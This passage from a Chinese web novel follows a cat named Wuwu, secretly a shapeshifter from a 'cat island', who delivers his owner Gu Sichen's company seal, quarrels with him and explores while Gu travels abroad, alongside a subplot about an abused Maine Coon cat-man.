每一个结论都有清晰的视频、照片佐证，确保100%的真实性，连躲得远远的缅因猫都被挖了出来。 顾司沉看完，心中隐隐有了一个猜想。放下ipad，伸手对正在玩小鸟玩具的猫咪喊：“乌乌，过来。” 乌乌兴致勃勃地叼着玩 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小猫终于停了下来，规规矩矩地端坐在地上，扬起圆鼓鼓的眼睛看着他。 顾司沉觉得乌乌懂自己的意思，把翻译器对准乌乌。很快，屏幕里出现了一条文字：人别怕，猫很厉害！ 顾司沉愣了足足好几秒，他似乎意识到了什么，想进一步追问，又害怕太过强势引起乌乌抗拒。 他心中挣扎了十几秒，最后终于作罢。他这么大一个人，难道还护不住一只猫？ 顾司沉把小猫抱进怀里，允诺道：“乌乌，我会保护你的。” 小猫喵喵喵地叫了起来，在顾司沉没注意到的时候，猫语翻译器里多了一条翻译：人，猫来保护你。 次日，顾司沉带人去了顾光耀家。顾光耀喜欢办party，住的是别墅区。整套房子冷冷清清，没有任何养宠物猫的痕迹。 但仔细查看就能发现，佣人房的纸壳被猫抓过，地面上残留着一部分细小的猫毛。 从保姆口中，顾司沉得到了这只缅因猫的相关信息。 缅因猫是3个月前突然到来的，刚开始顾光耀并不想养它，也没有准备猫砂盆，缅因猫就憋了一天多屎尿，最后学会了用马桶上厕所。 不知出于什么考虑，顾光耀留下了这只缅因猫。但他对猫实在谈不上好，喂十块钱一斤的猫粮，让猫喝自来水，动辄打骂，晚上还把猫关笼子。 顾司沉：“猫呢？” 保姆：“不知道，它经常外出，偶尔会看见它在外面捉老鼠和小鸟吃。” 顾司沉离开别墅时，打电话问段毅：“警犬大队那只缅因猫怎么样了？” “别提了，我就没见过这么笨的猫。”段毅早就一肚子苦水，顾司沉一问，就哗啦啦全倒了出来，“训练样样不行，服从性更是没有，就知道撒娇装可爱。偏偏警犬就吃它这套，个个都把它当做宝，现在已经凭实力成为团宠了。” “更搞笑的是昨天有只外来猫想拐走缅因猫，结果被警犬撵了二里地，那场面不要太滑稽。”段毅说着，自己都笑了出来。 顾司沉：“有视频吗？” 段毅：“有，我发你。” 视频中两只缅因猫长相极为相似，但神情和动作却是天差地别。其中一只野性、瘦削、凶狠，另一只则是圆润、呆傻、谄媚。谁是当初爬窗户的犯罪猫，简直一目了然。 顾司沉：“那只缅因猫呢？” 段毅：“不知道，跑了吧。” 那只缅因猫是躲避监控的高手，第一次乌乌晕倒时，一群精英人类足足找了5个小时，才在事发地100米外发现了缅因猫。 后面两次暴露，也是因为顾光耀在场，如果没有顾光耀这个后腿，缅因猫完全可以自由出入，不留下任何痕迹。就像是当初它爬了两层楼，从窗户翻进顾司沉办公室时，要不是乌乌恰好拍下视频，缅因猫就是完美隐身。 . 数日后，贸城市公安局大门，顾光耀终于结束拘留，离开了这个伤心之地。走出市公安局大门，他看见四个彪形大汉守在警局门口，自称是顾司沉派人来接应。 顾光耀冷哼一声，心道还算顾司沉识相。他好好羞辱了这些保镖一顿，转身上了自己的车。正要吩咐司机开车，四个车门被人同时从外面打开，四个彪形大汉二话不说就挤了进来。 后排坐了三个人，顾光耀被人挤在中间，几乎快要喘不上气。 他皱起眉头：“你们干什么？” 四位保镖异口同声：“送您回家。” 顾光耀霎时黑了脸，他就知道顾司沉没这么好心，原来是来监视他了！ 顾光耀颜面尽失地回了别墅，本想找缅因猫算账，可翻遍别墅都找不到那个畜生。 小时候他还能用食物控制猫，可随着猫越长越大，变得孤僻又冷淡，甚至都不把他这个主人放在眼里。 你以为这样我就没办法对付你吗？顾光耀冷笑一声，在缅因猫常出没的地方放上了易碎品。 深夜，万籁俱寂，想去救无辜的缅因猫却被狗撵了二里地的肖冕终于重新回到了这里。 大门全部关闭，只有厕所卫生间还留了一扇窗。缅因猫灵活地越过窗台上的绿植，像以往那样灵活地降落在马桶盖上。 却不知谁在马桶盖上放了东西，只听“哗啦”一声响，他打碎了玻璃瓶。因为打碎主人的东西，缅因猫又被揍了一顿。 顾光耀边打边骂：“没用的东西，都怪你让我丢了这么大的脸！” 缅因猫默默承受了所有殴打与辱骂。直到一分钟后，原本温驯的缅因猫突然跳到窗台上不让打了。 顾光耀这才意识到，缅因猫之前的温驯都是装的，其实还是一个不听话的犟骨头。 他还想出气，可缅因猫幽深的眼睛盯着他，双耳放平下压，粗大的尾巴啪啪拍打着墙，显然对他的忍耐已到尽头。 顾光耀一向欺软怕硬，被缅因猫一瞪竟然委屈上了，嘟哝道：“有你这样的猫吗？办事不靠谱，对我反而越来越凶。” 缅因猫保持沉默。 顾光耀又说：“我已经有了新的主意，接下来你别做具体的事情，直接魔法攻击，削弱顾司沉，明白吗？” 缅因猫没说好，也没说不好，他甩甩尾巴，又从窗户离开了。 别墅重新安静下来，在监控和保安都看不见的地方，缅因猫化身成了一个成年男性。他身高有一米八几，可身体很薄，肌肉薄而均匀地分布在身上，肤色苍白，布满伤痕。 肖冕却仿佛早已习惯这样的疼痛，他蜷缩在角落里，用清洁阿姨收集的纸壳遮挡住身体。直到身体重新恢复猫形，才悄无声息地回了别墅里。 肖冕成熟期到了，他不打算让顾光耀知道。 18-20 第18章 总裁办几十号人全都愣在了那里, 这批人资历深的跟了顾司沉近十年，都没见过顾司沉这么激动过。 他几乎是跑了起来，就像焦急的父母终于找到自己离家出走的孩子, 表情紧张严肃，但动作却是迫不及待地，立刻就将小猫抱进了怀里。 吴雪把东西放进顾司沉怀里，伸出舌头，大口地呼吸。 顾司沉却不似他想象中高兴, 皱着眉质问：“你怎么自己过来了？” 吴雪觉得顾司沉有些不对劲, 可他转念一想, 可能是人还没看见他带来的东西。这一路他可辛苦了，小猫还没换牙, 用细细的牙齿叼着东西长途跋涉, 嘴都咬痛了。 “你打开看啊！”吴雪伸手把东西推向顾司沉，很着急的样子。 根本不用打开，顾司沉已经从外包装和形状上猜到这是什么——他早晨离开时忘带的公章。 可这不该由乌乌送过来。 看见顾司沉拿出公章，孟知小声道：“老板, 签约还要推迟吗？” 顾司沉深吸一口气, 说不用。 他把乌乌抱进办公室，和孟知一起离开了那里。 吴雪被关在空荡荡的总裁办公室，有点儿失落，又有点儿茫然。顾司沉的反应, 怎么和他想象中不一样？ 吴雪有些累了, 还又饿又渴。可顾司沉都没有给他准备食物, 就直接离开了那里。算了，人肯定是工作忙，才没有时间照顾他吃东西, 他勉强吃点儿干粮填填肚子吧。 吴雪来到会自动出现食物的地方，之前都会“哗”地一声出现食物，可这次不管他看了好久，都没有食物出来。 算了，他先喝点儿水垫肚子也行。吴雪又去到旁边会自己冒水出来的机器，可里面水也没有了。 但这种小困难难不倒他，小猫熟门熟路地跳上书桌，低头喝顾司沉杯子里的水。没想到水位太低他喝不到，小猫只得把手伸进杯子打湿，然后舔手上的水。 “哧溜哧溜，哧溜哧溜……” 就在这时，门被人从外面打开，一道爽脆的声音传来：“乌乌！你口渴啦？” 是经常喂他食物的漂亮姐姐！ “喵。”小猫有些委屈地叫了一声。 “噢噢噢，真是可怜的宝宝，水都没有了，喂食器也没插电，我马上帮你搞定。”李小桃一边换新粮，洗水碗，一边叽里咕噜地和小猫说，“因为你之前好久没来啦，我就暂时把机器停了。” 李小桃开了个鹿肉罐头，碾碎后把碗放在小猫面前，看着小猫狼吞虎咽，笑着说：“乌乌，你怎么自己过来啦？你能找到路吗？危不危险？” 吴雪挺起胸膛，语气自豪：“人忘带东西，我给他送来喵喵喵，真好吃！……我这么聪明，当然认得路，而且又不远，好香，嗷嗷嗷！……还是有点儿危险，好多人都想绑架我，但我机智地逃脱了！” 李小桃听不懂吴雪的话，但小猫一边吃东西一边喵喵喵的样子着实可爱。 现在网上关于乌乌的视频已经上了热搜，视频从乌乌咬着东西在马路上走，避开电动车，过马路，到公司坐电梯，按电梯门……乌乌千里迢迢送公章的壮举被不同的网友记录，每一个视频都可爱得不得了。 李小桃依次点赞，忍不住夸奖：“乌乌你真棒！” 当然！ 小猫咪吃饱喝足，自信又回来了。 他躺在顾司沉的真皮座椅上，满怀期待地想：刚才离开时顾司沉还没有表扬他，等人开完会回来，肯定会好好夸奖他，然后给他奖励一堆小鱼干吧？ 不过小鱼干猫有点儿吃腻了，而且猫刚吃完罐头，也不是那么饿，就算人不奖励猫食物，只要开口夸夸猫，猫就会非常高兴了。 吴雪一边舔毛，一边想象着即将到来的夸奖，渐渐睡了过去。 没过多久，顾司沉开完会回来，迫不及待地呈上公章，感激道： “噢乌乌，你真是太勇敢了！” “还好有你，要不是你，我都不知道该怎么办了！” “多亏你送来公章，我这几个亿的项目才能顺利进行！” “人笨笨的，果然还是要猫猫帮助才行。” “啊哈哈哈哈哈！”吴雪双手叉腰，仰头得意大笑，“现在知道猫猫有多厉害了吧！快说谢谢猫猫大人！！” “好的！”卑微的人类立刻低头叩拜，“谢谢猫猫大人！猫猫大人在上，请接受小人的跪拜！这是我为您准备的小鱼干，现在全都献给您！” … “嘻嘻，嘻嘻嘻……” 小猫睡着睡着，突然开始抽动身体，李小桃还以为猫病了，然而当她仔细一看，却发现小猫一边吧唧嘴，一边嘻嘻嘻，也不知道梦见了什么高兴的事情。 李小桃看得出神，见顾司沉进来，迫不及待地分享：“顾总，乌乌刚才说梦话呢……” “出去。”顾司沉冷声道。 之前因为猫咪变得温柔可亲的顾总，现在又恢复成了冷冰冰的可怕模样。李小桃瞬间头皮一麻，逃命一般离开了那里。 “嘻嘻嘻，看在你诚心诚意的份上，那我就勉为其难笑纳了！” 吴雪笑着笑着，突然感到了一股诡异的寒气，突然醒了。 顾司沉办公室很大，又做了隔音，完全听不见外面的声音。吴雪每次在这里都睡得特别沉。 小猫迷迷瞪瞪地睁开眼，嘴角挂着口水，眼睛都直了。 他缓了好几秒，终于猛地回了神。 糟糕，睡得太死了，连野生动物的警惕都没有了！ 吴雪迅速端坐身体，看着朝他走来的顾司沉，才意识到刚才是在做梦。哎呀，原来只是梦，那顾司沉还没表扬他呢。吴雪矜持地坐在桌上，等待人的表扬。 却不料顾司沉劈头盖脸就是一句：“你知道错没有？” 吴雪：？ 顾司沉现在还是止不住地后怕，刚才签约时，他满脑子都是乌乌穿过马路的样子。 市中心交通无比复杂，从家到公司这五公里的路程，一路上要过好几个红绿灯，而且还有电瓶车穿行。一想到乌乌可能会在车轮下化成一滩泥，顾司沉就忍不住心头的恐惧，盖章时连手都在发抖，直到现在都还没有平息。 他可以纵容乌乌一切事情，唯有这件事不会让步。 顾司沉看了眼满含期待的猫咪，铁石心肠地说：“是我太纵容你，让你养成了这种无法无天的性格。扣一周零食，以后没我的带领不许出门。” 吴雪：？？？ 凭什么？他辛辛苦苦送东西，顾司沉不夸奖就算了，竟然还敢惩罚他？！ “喵喵喵喵嗷嗷嗷嗷嗷嗷嗷！！” 小猫扬着脑袋说了一大堆，显然已经愤怒到了极致。 可偏偏顾司沉听不懂。 意识到这点后，吴雪简直要气炸了。 他伸手扒拉顾司沉手机：打开猫语翻译器，让你知道我骂得有多脏。 可顾司沉却只是冷漠地抽走手机，然后埋头继续工作。 吴雪：？？ 气死猫了！！他再也不要理顾司沉了！！！ 吴雪说到做到，躲在墙角偷偷和家猫视频，语气非常激动。 “喵喵喵喵喵喵喵喵喵喵喵喵！！” “你们敢相信，他就这样单方面终止了吵架！”小猫对着摄像头控诉人的罪行，气得耳朵都飞起来了，“凭什么只能他单方面对我输出？这是语言霸凌！！！” “人那么笨，肯定听不懂猫语的啦。” “宝宝真可怜。” “人类那贫瘠的想象力，觉得猫只能在家做宠物，根本不知道我们有多大的本领。” “就是就是！气死我了！”家猫的安慰让吴雪好受了一些，但还是很生气，愤怒道，“而且他竟然不知道我在骂他！！甚至还觉得我可爱！气死了！为什么我不能说人话！” “因为猫和人生理结构不同呀，我们没法儿发出人类的声音，不过等你变人后就能说人话了。” “那我什么时候变人？” “等你成熟期到了就能变啦。” “那也太久了，”吴雪皱眉，不悦道，“不行，我现在就要骂回来！” 吴雪说到做到，他用顾司沉的淘宝账号下单宠物按钮，选同城快递，急送！当天下午就送到了！ 顾司沉之前也买过猫咪用品，后勤人员以为这次也是顾司沉买的，收货后直接送到了办公室。 顾司沉看了眼，说：“我没买。” 后勤愣了下，才意识到自己搞错了，立刻道：“抱歉，我马上拿走。” 奶牛猫却猛地冲了出来，张开四肢趴在按钮上，说什么也不让动。 “这……”后勤有些为难地看向顾司沉。 顾司沉：“先放着吧。” 员工点头离开，吴雪终于找到了出气口，开始狂按按钮。 【坏蛋！】【坏蛋！】【讨厌你！】【讨厌你！】 顾司沉：“……” “乌乌，”他叹了口气，有些无奈地说，“别调皮。” 吴雪继续按：【滚！】 顾司沉：“……” 整个下午，顾司沉都在刺耳的机械声音中度过。 孟知进来汇报工作，被这个声音吓了一跳。可看顾司沉一脸淡定的表情，他又觉得老板这么做一定有他的理由。 倒是小猫非常体贴，有人进来还停下了辱骂，等孟知离开后再继续。 回家时吴雪也非要带着按钮，顾司沉把按钮藏起来，小猫就开始哇哇乱叫，仿佛遭受到了天大的虐待。 凄惨的叫声引得门外的员工频频侧目，他们都还记得小猫送公章的光荣事迹，现在叫得这么惨，一定是被狠狠欺负了！ 虽然碍于总裁权威不敢明说，但大家都用可怜的目光瞧着小猫，一副恨不得想把乌乌带回去自己的样子。 顾司沉心软了，允许乌乌带宠物按钮回家，在车上又被吵了一路，直到回家后管家用小鱼干诱惑，趁机收起按钮，顾司沉世界终于清净。 睡觉前乌乌都没再按按钮，顾司沉以为小猫的打击报复终于结束。直到半夜，他睡觉睡到一半突然被一阵刺耳的AI声吵醒。 【坏蛋！】【坏蛋！】【讨厌你！】【讨厌你！】 顾司沉：“……” 他乌云密布地拧开灯，浑身上下都带着被吵醒的不悦。正要发作，小猫却早有防备，一转身跑出了卧室。 顾司沉关上了卧室，重新躺了回去。 好不容易终于睡着，卧室门外又传来按钮的声音。 顾司沉被搞得快要神经衰弱，一晚上都没有睡好。第二天他出门，不带乌乌，终于获得了片刻的宁静。 郊区，顾司沉新开的马场，风和日丽，天朗气清。 纯血马在阳光下肆意奔跑，身姿挺拔，皮毛闪闪发亮，让人光是看着就心情大好。 “这么好的天气，怎么愁眉苦脸的？”费钧笑着调侃，“是工作不顺？还是你家人又烦你了？” 顾司沉原本威严冷峻的脸上，此时却露出类似养孩子被蹉跎的疲惫表情。 他摇头，说：“家里孩子不听话。” “亭安？不至于吧，”费均说，“我记得亭安很懂事啊。” “是猫。” “……” “就你微信头像这只？”费均翻出照片，好奇道，“甜美长相，看起来挺乖啊。” 顾司沉一言难尽。 “猫调皮很正常嘛，”费均爸妈也养猫，颇有经验地说，“但你是他主人，你得学会训猫。就像养小孩儿一样，做对了就鼓励，犯错了要惩罚，只有这样才能正向循环。” 顾司沉：“舍不得。” 费均：“……” “你尽管纵容吧，以后有得你受的。” 顾司沉抬头看向草地上奔跑的马匹，奔放、自由、无拘无束。 乌乌本来也是自由自在的，可以做一切它想做的事情。可被他收养后，却只能配合人的作息、生活习惯行事。撕咬、抓挠、奔跑……这些刻进猫基因中的本能，也因为破坏人的居住环境而被制止。 他已经强行剥夺了乌乌的本性，怎么还能再惩罚猫呢？ 顾司沉结束工作，早早就回了家。乌乌本来在睡觉，看见顾司沉进来，又立刻翻身起来按按钮。 【坏蛋！】 指控声音超大。 顾司沉叹了口气，把乌乌抱到沙发上，看着它眼睛说：“谈谈吧。” 吴雪跳到沙发背上和顾司沉平视，小猫低着脑袋，上眼皮绷直，耳朵后飞，表情又酷又凶。 气氛紧绷，一触即发。 突然间，顾司沉笑了一下，放缓了声音：“怎么，还在怪我？” 当然还怪你！ 吴雪又想跳下去按按钮，被顾司沉一把抓住，放在了沙发上。重复三次后，吴雪被迫坐在沙发背上，表情屈辱。 “乌乌，我只是担心你。”确定乌乌不再逃跑后，顾司沉这才说，“你只是一只小猫，知道外面的世界有多危险吗？” “我很厉害，我不怕危险！”吴雪立刻反驳，可他又想起来顾司沉听不懂猫语，想跑下去按按钮。可顾司沉却按住他后背，不给他一点儿逃脱的可能。 “喵！”吴雪气得一口咬上人手背，发出呼哧呼哧的出气声。 往常他这么一咬，顾司沉立刻就会松开。可今天他把人都咬出两个牙印儿了，人都还不松手。吴雪本来很生气的，可看着顾司沉平静的眼神，又莫名有些心虚，松开了牙齿。 顾司沉手背上多了两个深深的牙印，没见血，但已经破了皮。顾司沉收回手，平静道：“现在消气了？” 小猫弓着后背退到沙发角落，警惕地看着人。 “我是不是还没跟你说谢谢？”顾司沉突然说，“谢谢你帮我把公章送到公司。” 谢谢?顾司沉对他说谢谢? 吴雪有些懵，攻击性姿势也跟着瓦解了。可他还记得顾司沉对他的惩罚，他是一只有骨气的猫，才不会这么轻易就原谅人！ 顾司沉又说：“我当时处理不好，我不该生你的气。只是我太担心你了，害怕你遇到危险所以才口不择言，说了些话让你伤心了。” 人感谢了他，甚至还和他道歉了。 吴雪眼睛睁得大大的，几乎用尽全部力气才没有过去蹭人。 顾司沉却俯身过来抱住了他，又用鼻子蹭猫脸颊，还有些可怜地说：“乌乌，我不能没有你，你不能出事。” 小猫猝不及防，霎时愣在了原地。 那一瞬，吴雪突然想起离岛前夕，猫猫神对他的告诫。 “人愚笨，但也聪明； 人弱小，但也强大； 人善良，但也残忍； 人让你开心，但也让你伤心； 人复杂多变，可爱，可怕，也可怜； 最重要的是，猫永远不要小瞧每一个人。” 每一只进入人类社会的猫在离开猫猫岛前，都会收到猫猫神的这番告诫。 幼年的吴雪看得云里雾里，他仰头问指引官：“既然如此，我们为什么还要和人接触？” 指引官沉默许久，叹了口气：“因果早已注定，不是你我能改的。去吧，祝你好运。” 吴雪不懂，他只知道要完成自己的任务。 可现在，他突然有些理解猫猫神的那番告诫了。 夜渐深，顾司沉独自躺在床上。自从傍晚和乌乌谈过话后，乌乌就不再按按钮骂他了，可对他依旧不亲近，反而一直用好奇、审视的目光打量他。 顾司沉隐约意识到，这是乌乌对他的考察。 他打起精神做一个好主人，亲自陪乌乌捕猎、追逐、猎杀、享用食物、梳理毛发，再哄猫咪睡觉，连当初大学面试、董事会选举投票都没有这么紧张过。 做完这一切后，顾司沉终于开始处理积压的工作，并在凌晨时分上床睡觉。 他没有关卧室门，一个很明显的邀请信号，但顾司沉并没有抱太大希望。自从吵架后，乌乌变得更不爱搭理他了，虽然他在努力修复关系，但不知道效果如何。 临睡前，他叫了几声猫名字，没有得到回应。 果然不会来了，顾司沉心想，于是闭眼睡去。不知过了多久，他脚边突然一沉，同时感受到了一股温热的体温。 顾司沉小心翼翼地抬起头，在黑暗中发现了一道模糊的阴影——小猫趴在他脚边，默默守护睡梦中的人。 · 乌乌短暂地上了热搜，并在几个小时内在各大平台爆火。至此，顾光耀终于知道自己之前为什么惨败，他怒气冲冲地回到家，吩咐缅因猫去对付那只奶牛猫。 网络上的热度还在继续，正当人们津津有味儿地讨论时，视频却突然消失了。 顾司沉让人撤了热搜，并且给乌乌安排上了和他同等级的安全保护。 安全主管信誓旦旦，说古贸壹号安全级别本来就高，再加上乌乌和顾亭安是上下楼关系，两个小组、四班人马轮流值守，绝对连一只蚊子都飞不进来。 一周后，古贸壹号顶楼大平层，管家替顾司沉收拾好行李，站在玄关处等人。 顾司沉穿戴完毕，出门前又转身去抱乌乌，反反复复地交代：“我要出国开会，这次不能带你一起，乖乖在家等我回来好不好？” 小猫嗷了一声，沮丧地低下了头。 这次出差是半年前就定下的，顾司沉作为民营企业家代表，将和商务部官员一起参加国际政商峰会。会上还有几个国家级的合作要谈，顾司沉不好临时推脱，路上往返、各种会议、考察投资加起来，前后要一周的时间。 顾司沉从来没有离开乌乌这么久，他摸了摸乌乌脑袋，说：“我们每天视频好不好？” 乌乌眨了眨眼睛：“嗷~” 反反复复道别三次，直到顾司沉接到孟知的催促电话，终于依依不舍地下了楼。 上车时，顾司沉回想起乌乌不舍的眼神，对一旁的孟知说：“以后别给我安排超过3天的出差。” 之前顾司沉从来没有过类似要求，孟知迟疑片刻，问：“是有什么特殊原因吗？” 顾司沉：“猫离不开我那么久。” 孟知：“……” 是你离不开猫吧？ 防盗门在眼前关闭，吴雪盯着大门，一秒，两秒，三秒…… “叮——”他听见电梯关闭，然后轰隆隆往下，原本安静的奶牛猫立刻蹦了起来。 好耶！人都走了！家里就剩下他自己了！ 从现在起，他就是这里的王，想做什么就做什么的乌乌大王！ 第一件事就是把装小鱼干的袋子咬烂，小鱼干自助餐吃到饱！ 然后和爸爸妈妈视频一整天！把所有的猫语都说完！ 他还想去找玳瑁玩儿，把小鱼干分享给玳瑁！ 他们已经好久没见面了，不知道玳瑁还记不记得他这个老大，他还有好多捕猎技巧要传授。 然后他还要巡视领地，警惕来自窗外的攻击，注视徘徊在走廊上的阴影……哎呀，他怎么这么忙呀！ 管家送顾司沉到停车场，车离开还不到两分钟，他又接到顾司沉消息，让他上楼去陪陪乌乌。 管家上楼开门，打算拍点儿视频交差了事，不料一开门乌乌就冲了过来，奶牛猫兴奋得满屋子乱串，没半点儿不舍的样子。 管家：“……” 他放弃拍视频，只打字说：“是的，乌乌很想您。” 他看着乌乌吃饱餍足干脆抓着玩儿的小鱼干，继续说道：“乌乌现在茶不思饭不想，连小鱼干都吃不下了。” 第19章 作为一只凶猛的小猫咪, 吴雪的一天充实而忙碌。 早上6点，他从阴冷、黑暗、充满危机的长夜中苏醒，在清晨第一缕阳光中拉伸身体, 然后开始巡逻自己500平方米的领地。 首先是他睡觉的大本营，俗称猫窝。 小猫仔仔细细地检查了这一片区域，很好，除了他和铲屎官的味道，没有其他陌生的气息, 安全。 美中不足的是周围散落着零星毛发, 大概是因为他不爱吃鱼油, 所以不幸掉落。但他身强体壮，掉的毛并不多。基于这一点考虑, 吴雪还是不打算吃鱼油。 检查完猫窝, 吴雪又贴着墙根，认真地排查了每一个可能出现危险的地方。窗户、大门、室内电梯、还有一直紧闭但每次清洁阿姨都会从那里出现又消失的神秘房门。 其实吴雪有一次意外误入过这里，清洁阿姨很紧张地把他请了出去。后来管家说这个地方是工作人员通道，猫猫不能进去。 嗯, 今天这扇神秘大门依旧紧闭。不管了, 先撒点儿信息素，标记领地。 客厅，安全。 书房，安全。 卧室, 安全。 厨房, 安全。 很好, 今天又是世界和平的一天。 小猫巡视完领地，并灵活地运用抓挠、脸颊蹭等方式加强标记，随后便开始了今天的捕猎。 他咬着小鸟玩具冲到卧室, 把玩具丢到人脸上。可卧室里空空荡荡，小鸟玩具直接落到了被子里。 啊，吴雪突然反应过来，铲屎官昨天就离开了。 好吧，那他就自己玩。吴雪把玩具丢到半空中，又冲过去咬住猎物咽喉。可玩了一会儿，他就嫌无聊离开了。 对于一只捕猎技巧高超的小猫咪来说，这样的追捕没有任何难度。他渴望更有挑战、更变幻莫测的猎物。 算了，等管家来再捕猎吧。 吴雪冲到客厅，开始抓猫抓板。在他的领地里，有许多可以磨炼捕猎技巧的工具。例如窗帘、沙发、猫爬架、各种精致的仿真玩具。但吴雪最喜欢的还是瓦楞纸。 “哗哗哗——” “哗哗哗——” 在他的攻击下，瓦楞纸很快就变得破破烂烂。 第一轮攻击结束，吴雪满意地打量着猫抓板上的狰狞痕迹，这都是他强壮勇猛的证明。 虽然他之前被人剪掉了武器，可在他小心翼翼地保护中，他的武器再次恢复锐利。 “哗哗哗——” “哗哗哗——” 抓完猫抓板，管家终于进来上供食物。 “乌乌，吃饭啦！”管家带着新鲜的鹿肉、三文鱼、鸡心、鸭肝，又敲开蛋壳，在上面放了一个黄通通的无菌蛋黄。 “喵！”吴雪被食物的味道吸引，飞快跑了过去。都是他辛辛苦苦捕猎的成果，小猫心安理得，吃得更香了。 一旁管家举着手机，记录下小猫进食的英姿。 舔干净盘子，吴雪心满意足地蹲在旁边，开始清理毛发，没想到管家还在拍。 哎，人就是这么无聊，连他舔毛都觉得好看。 吴雪把身上每一寸皮毛都舔得乌黑发亮，前后拉伸身体，随即感到便意来袭，冲往猫砂盆打算排泄。 他吭哧吭哧挖了好大一个坑，弓起后背，正要用力，抬头一看，管家竟然还在拍。 “喵！”吴雪给了他一巴掌。 不许偷拍小猫上厕所！！！ 管家得到教训，不敢再侵犯他的隐私。 小猫终于满意，进行了一次顺畅地排便，并在猫砂盆中认真掩埋排泄物，消除所有痕迹。 一旁，管家把视频发给顾司沉，进行日常汇报：老板，我今天早上来看乌乌，东西全都吃了，排便也没有问题。乌乌精神很好，您别担心。 消息刚发出去，顾司沉视频就打了过来。 管家还以为有什么要紧事，连忙接通问：“老板，您还有什么吩咐？” “看看乌乌。”顾司沉说。 当地时间已经是凌晨，顾司沉却似乎刚回到酒店，他身上还穿着正装，胸前嘉宾证都没来得及取。经过一天高强度的应酬，他脸上出现了些许疲态，但谈起乌乌时眼神却很亮。 管家把镜头对着乌乌，小猫刚吃过饭，正趴在落地玻璃窗前看风景。 “乌乌。” 顾司沉喊了一声。 是人的声音！ 小猫立刻支起了耳朵。 顾司沉又喊了一声，小猫朝手机走了过来。可他光能听到声音，却不知道顾司沉在哪里，急得围着管家团团转。 顾司沉让管家换前置镜头，小猫终于看见了人，抓着手机很大声地喵：“人，我看见你了！” 顾司沉严肃的眉眼缓和下来：“抱歉，我还要过几天才能回来。” “喵喵喵。” 小猫说：“晚点儿回来也没关系，我自己在家也很开心。” 顾司沉：“你是不是想我了？管家说你太想我，都没有好好吃饭。” “喵喵喵？” “没有啊，”小猫露出疑惑的表情，报菜名似的说出早上的进食，“我才吃了鹿肉、三文鱼、鸡心、鸭肝、蛋黄。很好吃，我很喜欢，吃得很开心。” 说完，吴雪抬头看向谎报军情的管家，后者心虚的低下了头。 顾司沉又说：“你瘦了。” 吴雪已经懒得解释了，他面无表情地喵了几声。笨蛋人类又听不懂他的猫语，随便敷衍一下吧。 牛头不对马嘴的对话结束，吴雪立刻把玩具刁给管家，大大的眼睛里满是期待：快陪我玩儿！ 单就陪玩来说，管家不如顾司沉专业，但现在条件有限，吴雪勉为其难玩了十几分钟。 当管家又用逗猫棒逗他时，吴雪却变得毫无兴致，仰着肚皮开始睡大觉。 小猫的梦境五彩斑斓，吴雪经常会梦见食物、捕猎、还有在猫猫岛的家。唯一不同的是，他这次还梦见了顾司沉。 他有些茫然地眨了眨眼，露出类似惆怅的表情，但很快，他就被别的事情吸引注意力，开开心心地玩起了玩具。 过了一会儿，他觉得玩具也不好玩了，吴雪感觉有些无聊，决定去看看玳瑁。 吴雪刁出自己还剩半饱的小鱼干，吭哧吭哧朝着大门走去。走到门口时他又想起，人不让他自己出门。那该怎么办？ 管家正在客厅里办公，顾司沉出差的时间里，他被安排住进这里照看乌乌。 老板没有家庭和子女，作为管家，他的工作也相对比较轻松。目前主要负责兄弟俩的财务开支、处理日常事务，同时协调司机、保洁、厨师、采购、搭配师、健身教练、家庭医生等人员工作。 现在还有小猫可以撸，幸福指数更高了。 管家现在每工作十分钟，就会站起来找小猫玩，充完电回去工作十分钟，又站起来继续找小猫玩。 直到第三次，乌乌叼着一根牵引绳丢在他脚边，管家笑了笑：“乌乌想出门啊？” 小猫喵了一声。 管家接到的任务里可没有包括去遛猫，老板有多宝贝乌乌大家都清楚，要是他私自带出去遇到危险，他负不起这个责任。 但小猫充满期待的眼神，又实在是令人心软。管家还在犹豫，乌乌又跑到旁边，伸出爪子按宠物按钮。 【出去玩】 “好好好，出去玩。”管家终于妥协，又对乌乌说，“我和老板请示一下，要主人同意才能出去。” 小猫端庄地坐在地上，等着他的消息。 管家拍了乌乌的照片，把经过和顾司沉说了。 “可以，”顾司沉说，“但你记得系上牵引绳，带好保镖，只在小区内活动，别让乌乌吃外面的东西。” 管家一一答应，又让保镖在楼下待命，低头给乌乌系上牵引绳。 “好了，我们可以出去散步了。”他打开大门，之前一直闹着出去玩的乌乌，此刻却不愿意挪动，还频频往里走。 管家纳闷：“怎么了？又不想出去了？” 小猫呜呜嗷嗷，拉着他走到了喵粮储物柜面前。 管家打开柜门，问：“你想吃东西？” 小猫摇头，伸出爪子按住小鱼干袋子。 管家：“你是要我带上这个？” “喵！”小猫给出了肯定的回复。 都知道带零食了，管家拿起还剩半包的小鱼干说：“走吧。” 小猫把爪子放在了一袋全新的小鱼干上。 管家：“好好好，拿这个。” 吴雪终于满意，从柜子上跳了下来，落地时还发出了一声哼唧。真好，他又找到了一个优秀的仆人。 夏天高温，物业把猫咪之家搬进了空调房，一群猫咪躺在猫窝里凉，见吴雪进来，纷纷停下动作，抬起了头。 可吴雪找了一圈都没有发现小玳瑁，倒是大橘闻着小鱼干的味道，谄媚地走了过来。 吴雪：“大黄，玳瑁呢？” 大黄眯着眼睛，讨价还价：“你分我三条小鱼干，我就告诉你。” 吴雪伸手扒拉管家，把小鱼干包装抓得哗哗响。 管家明白过来了：“你是要给这里的猫吃？” 小猫喵了一声。 管家有些惊讶，但还是打开袋子，把小鱼干分给这里的流浪猫。大黄分到了三条，其他猫也见者有份。 吴雪：“现在你能说了吧。” 大黄吃完全部小鱼干，意犹未尽地舔了舔嘴唇：“再给我三条。” 吴雪举起自己沙包大的拳头：“你不说我就打你。” 半大小猫，才只有它一半大小，大黄才不怕，反而一脸欠扁地说：“你来啊，谁怕谁？！” 十秒后。 “呜呜呜呜呜，”大黄捂着脑袋哭出了声，“你打我。” 吴雪：“打的就是你！” 大黄委委屈屈，讨价还价道：“你再给我一条小鱼干，只要一条我就告诉你。” 吴雪：“一根也没有！” 大黄还想反抗，看着奶牛猫凶悍的表情又退缩了，妥协道：“玳瑁去巡逻了。” 吴雪皱眉：“巡什么逻？” 大黄：“它说小区有新的流浪猫气息，它要去登记。” 好玳瑁，不愧是他的直系小弟！ 吴雪拿了条小鱼干给大黄，出门去找玳瑁了。 他顺着玳瑁的气味走去，刚走到花园，玳瑁猫就喵喵叫飞奔过来：“老大！！好久不见了！我好想你！！！” 吴雪：“我刚去猫咪之家找你，你不在，大黄说你去巡逻了。” 